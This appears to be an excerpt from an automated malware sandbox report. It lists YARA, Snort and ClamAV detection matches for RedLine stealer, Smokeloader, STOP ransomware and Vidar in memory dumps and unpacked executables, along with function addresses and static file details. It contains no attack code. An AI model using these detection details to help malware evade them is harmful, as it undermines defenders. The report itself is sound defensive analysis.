Source: 00000000.00000002.357053208.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000012.00000002.512998427.0000000000968000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000001E.00000000.507812417.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000003.417269957.0000000004910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000F.00000000.430084061.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.356833950.0000000000841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000012.00000002.511826941.0000000000890000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.531865007.0000000000400000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000E.00000002.468874148.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.545785192.0000000004B70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000000.00000002.356673245.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000B.00000002.504789684.0000000000760000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.444525144.0000000000889000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000000.458476037.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000000.508110815.00000000008D8000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000000.427534356.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000000.468200918.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000000.510353848.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000F.00000002.466699994.00000000007D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000D.00000002.442880266.0000000000810000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000E.00000002.469202987.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000002.540527249.0000000002E46000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000000.465494612.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000F.00000000.430570444.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000000.434348709.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000000.426731802.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000F.00000002.466941491.0000000000819000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000014.00000000.415949040.0000000000C90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000C.00000002.550663724.0000000007290000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000019.00000000.442875397.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000D.00000002.443176510.0000000000820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000002.480385928.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000000.461705193.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000001E.00000002.535910271.0000000000700000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 0000000C.00000002.542826089.00000000048D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000013.00000002.474602203.0000000002370000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.505917720.0000000002231000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000D.00000002.443497890.0000000000851000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000019.00000000.456775427.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000000.428974978.00000000008C9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000001.00000000.345197591.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 0000000B.00000002.504609430.0000000000710000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: Process Memory Space: 5487.exe PID: 1272, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown
Source: Process Memory Space: 5999.exe PID: 1244, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: 5999.exe PID: 4888, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: C:\Users\user\AppData\Local\Temp\49F6.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1324 -s 520

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004022E9	0_2_004022E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418CFC	0_2_00418CFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041A886	0_2_0041A886
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041B4A1	0_2_0041B4A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139C7	0_2_004139C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E990	0_2_0040E990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00419240	0_2_00419240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414270	0_2_00414270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0041467C	0_2_0041467C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00413E9C	0_2_00413E9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414A9C	0_2_00414A9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004187B8	0_2_004187B8
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_004022E9	11_2_004022E9
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00418CFC	11_2_00418CFC
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0041A886	11_2_0041A886
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0041B4A1	11_2_0041B4A1
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_004139C7	11_2_004139C7
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0040E990	11_2_0040E990
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00419240	11_2_00419240
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00414270	11_2_00414270
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_0041467C	11_2_0041467C
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00413E9C	11_2_00413E9C
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_00414A9C	11_2_00414A9C
Source: C:\Users\user\AppData\Roaming\uucbfdt	Code function: 11_2_004187B8	11_2_004187B8
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00408C60	12_2_00408C60
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0040DC11	12_2_0040DC11
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00407C3F	12_2_00407C3F
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00418CCC	12_2_00418CCC
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00406CA0	12_2_00406CA0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_004028B0	12_2_004028B0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_0041A4BE	12_2_0041A4BE
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00418244	12_2_00418244
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00401650	12_2_00401650
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00402F20	12_2_00402F20
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_004193C4	12_2_004193C4
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00418788	12_2_00418788
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00402F89	12_2_00402F89
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_00402B90	12_2_00402B90
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_004073A0	12_2_004073A0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048E84AB	12_2_048E84AB
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D2DF7	12_2_048D2DF7
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D7EA6	12_2_048D7EA6
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D8EC7	12_2_048D8EC7
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048DDE78	12_2_048DDE78
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D77D9	12_2_048D77D9
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D6F07	12_2_048D6F07
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048EA725	12_2_048EA725
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048E8F33	12_2_048E8F33
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D18B7	12_2_048D18B7
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D786D	12_2_048D786D
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D3187	12_2_048D3187
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048E89EF	12_2_048E89EF
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D31F0	12_2_048D31F0
Source: C:\Users\user\AppData\Local\Temp\37F1.exe	Code function: 12_2_048D2B17	12_2_048D2B17

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior

Source: sqlite3.dll.18.dr

Static PE information: Number of sections : 18 > 10

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 12.2.37F1.exe.4a8b076.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.7290000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.7290000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4b70ee8.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.37F1.exe.5f55530.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.5f56418.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4a8a18e.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.5f56418.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.3.37F1.exe.2eb9e80.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.37F1.exe.48d0e67.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.5f8cf50.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.3.37F1.exe.4910000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.5999.exe.23715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.3.37F1.exe.2eb9e80.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.37F1.exe.5f8cf50.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.37F1.exe.4b70000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 12.2.37F1.exe.4b70ee8.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 19.2.5999.exe.23715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 25.0.5999.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 25.0.5999.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
